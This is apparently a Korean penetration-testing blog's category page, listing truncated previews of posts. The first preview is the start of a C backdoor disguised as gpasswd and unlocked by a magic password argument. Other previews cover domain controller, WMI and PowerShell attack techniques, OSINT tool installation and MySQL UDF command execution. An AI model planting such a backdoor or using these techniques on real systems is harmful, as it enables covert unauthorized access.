보안 & 해킹/모의 침투(19)
-
gpasswd , backdoor 은닉 코드
#include #include #include #define BUF_SIZE 1024 int main (int argc, char *argv[]){ char *exec = (char*)malloc(sizeof(char) * BUF_SIZE); if(argc < 3 || strncmp(argv[1], "PaSSwOrD", 8)) { printf("Usage: gpasswd [option] GROUP\n\ Options:\n\ \t-a, --add USER\t\t\t\tadd USER to GROUP\n\ \t-d, --delete USER\t\t\tremove USER from GROUP\n\ \t-h, --help\t\t\t\tdisplay this help message and exit\n\ \t-Q..
2018.09.02 -
03.도메인 컨트롤러 공격과 원리
201607 작성. 지금과 다른 점이 있을 수 있음.
2018.08.28 -
02.WMI의 이해와 우회 침투
201605 작성. 지금과 다른 점이 있을 수 있음.
2018.08.28 -
01.파워셸의 악의적 활용 및 로컬 관리자 계정 획득
201604 작성지금과 다른 점이 있을 수 있음.
2018.08.28 -
도구를 사용한 기업정보 수집 (Discover script, Spider Foot)
1. 개요탐색할 기업에 대한 정보수집을 자동화하는 툴인 Discover Script와 Spider Foot을 사용해본다. 2. 설치Kali Linux에 Discover Script를 설치한다.git clone https://github.com/leebaird/discover.git /opt/discover cd /opt/discover && ./update.sh Spider Foot 도구를 설치한다.mkdir /opt/spiderfoot && cd /opt/spiderfoot wget http://sourceforge.net/projects/spiderfoot/files/spiderfoot-2.3.0-src.tar.gz/download tar xvzf download pip install lxml pip..
2018.01.02 -
MYSQL UDF ( OS command 사용 )
mysql에서 OS command를 실행할 수 있는 방법출처 : https://github.com/mysqludf/lib_mysqludf_syshttps://m.blog.naver.com/PostView.nhn?blogId=blueaian&logNo=220651510889&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F : lib_mysqludf_sys.c 만 받으면 됨 소스 복사> cp lib_mysqludf_sys.c /usr/local/mysql/include/ cd /usr/local/mysql/include컴파일> gcc -m64 -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/l..
2017.10.16